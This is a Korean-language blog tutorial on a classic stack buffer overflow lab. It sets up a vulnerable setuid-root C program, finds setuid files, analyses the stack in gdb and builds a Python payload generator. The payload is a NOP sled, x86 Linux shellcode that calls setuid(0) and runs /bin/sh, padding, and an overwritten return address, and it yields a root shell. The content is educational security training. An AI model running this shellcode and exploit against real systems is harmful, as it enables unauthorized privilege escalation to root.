본문 바로가기

보안/시스템 보안

버퍼 오버플로우 6 실습

이전 버퍼 오버플로우 5에서 return 주소를 변경을 통해 프로그램 로직을 변경 할 수 있다는 것을 알아보았다

그렇다면 어떤 주소로 점프를 해야지 관리자 권한을 획득할수 있을까?

 

관리자 권한을 바꿔주는 함수가 프로그램안에 있다면 가장 베스트 플랜이겠지만 그렇지 않는 경우가 대부분이기에 스택안에다가 shell code를 강제로 삽입을 한다.

 

shell code 란?

윈도우에서는 프롬프트 환경에서 > 이고 리눅스에서는 $ 혹은 # 으로  명령을 받는데 이를 shell 이라고 한다

이 shell을 통해 특정 명령을 실행을 하는데

쉘 코드는 시스템의 특정 명령을 실행하는 프로그램을 뜻 한다 .

 

실습 시나리오 원리

1. 32byte 길이의 shellcode를 사용

2. shell code 작성을 할때 NOP (아무런 일을 하지 않는 명령어)을 통해 shell에 접근하도록 구현 (정확한 주소가 아니여도 근처 주소만 주어도 충분히 동작한다)

3.스택의 return address 가 저장된 부분을 shellcode주소로 설정

 

실습을 통해

116 byte = nop 코드(64byte)+ shellcode(32byte) + 임의 문자(16byte)+ return address (4byte)

 

SetUID 파일이 필요하다

root 권한의 setUID 파일 찾기

 find . -user root -perm -004000  (찾아라 , 현재 디렉토리부터 전부, root 권한, 권한이 004000(setUID) )

group 권한의 setUID 파일 찾기

 find . -perm -002000 -type f

 

==================================================

실습 테스트!   (실습을 들어가기 전에 이전 게시글과 비슷한 내용이오니 시간 없으면 쭉 내려서 실습! 부터 보면 됩니다)

현재 권한 상태는 이러하다

지난 실습때 사용한 mycopy.c 파일을 버퍼 크기만 바꾼다

 

이제 setUID를 설정을 해야한다 . 그러기 위해서는 루트 권한으로 접속을 한다

여기서 rws로 바꾸고 user01이 아닌 root 권한으로 바꿔야 한다

 

chown 과 chmod를 사용해 권한을 바꾸었다

이떄 주의해야할점은 chown 을 하고 chmod 를 해야하지 이둘의 순서가 바뀌어서는 안된다 .

이전의 실습 파일중 nobody라는 파일로 실험을 해보았는데

chmod 후 chown을 사용을 하니 rws가 rwx로 풀리는 현상을 볼수 있다.

user가 바뀌다 보니 reset이 되어서  rwx로 풀린것이다.

 

이제 다시 이전 계정으로 돌아가보자

user01에서도 정상적으로 돌아가는것을 볼수 있다

 

버퍼 공간이 100이다 보니 일일히 입력하는것이 아닌

파이썬을 이용하여 삽입을 할것이다.

padding이라는 변수를 만들어서 print 하는 소스이다.

그리고 매번 파일 이름을 입력하기 귀찮으니 A1이라는 파일로 이전에 소스 내용을 옮기고 실행을 해본다.

 

gdb를 통해서 분석을 해보자

 

string을 copy 하기 이전과 이후를 비교하기 위해서 strcpy 부분에 break을 걸고

오버플로우를 실행을 하고 레지스터를 살펴 보자 

 

레지스터 중에 특히 esp와 ebp를 신중하게 확인을 한다

 

버퍼 양이 크기 40으로 해서 본다

ebp가 bffff288 이었으니까 드래그 한 부분이 스택 이라고 볼 수 있고

그 다음 스택은 이전 ebp 와 그 다음 스택은 return address 라고 볼수 있다.

 

next로  그 다음을 가고 esp를 확인을 하면 414141로 return address까지 덮어진것을 확인할수 있다.

 

============================================================

실습 !

아까 만든 genA1.py 파일을 수정을 하여서 실습을 한다 .

#!/usr/bin/python

nopsled = '\x90' * 64

shellcode = ('\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +

'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +

'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80')

padding = 'A' * (112 - 64 - 32 - 4)

eip = '1234'

print (nopsled + shellcode + padding + eip)

 

이번에는 직접 관리자에 접근을 하는 shell code를 입력할것인데

nop 으로 64 byte

shellcode 로 32 byte

paddinig으로 116-(nop+shellcode+eip(4byte) )

 

이 파일을 실행을 gdb 환경에서 실행을 시킨다면

90909090으로 nop들과 shell code의 실행 그리고 AAAA 실행 마지막으로 임시로 eip 대신 1234로 써진것까지 실행(하이라이트 표시) 이 된것을 볼수 있다

이제 임시로 써놓은 0x34333231 대신 shell code를 실행 시키는 곳으로 return을 해야하는데 정확한 실행 위치 보다는 nop이 있는곳으로 return을 해도 shell code가 충분히 실행이 된다는 것이다.

bffff550 쯤이 overflow가 잘 실행 된다고 하니 그곳 주소로 return을 해보자 

 

사실 genA3.py를 코드를 수정을 해서 바로 할수도 있겠지만 우리 모두 항상 백업을 하는 습관을 자주 들이자

(물론 백업을 하는 방법은 다양하게 있다. vmware로 snapshot이라던지 ,깃허브 라던지 ... 하지만 지금같은 간단한 실습들은 개인적으로 파일을 여러버전으로 저장하는 원시적인 방법이 제일 편한것 같다 )

eip를 아까 레지스터에 봤던 주소로 바꾸었다

리틀 인디안 때문에 뒤에서 부터 2bit 씩 끊어서 썼다.

해당 파일을 저장을 하고 바로 실행을 시켜보자

파이썬 파일을 실행파일로 바꿔주고 실행을 시켜주면

# 이 생기는 것을 볼수 있다

id를 통해 알아보면 user가 root 가 된것을 알수 있다

 

 

참고로

putty를 통해서 칼리를 사용하면 보안 문제로 실행이 안될수 있으니 kali에서 직접 실행을 하도록 하자

 

 

 

 

 

 

 

 

반응형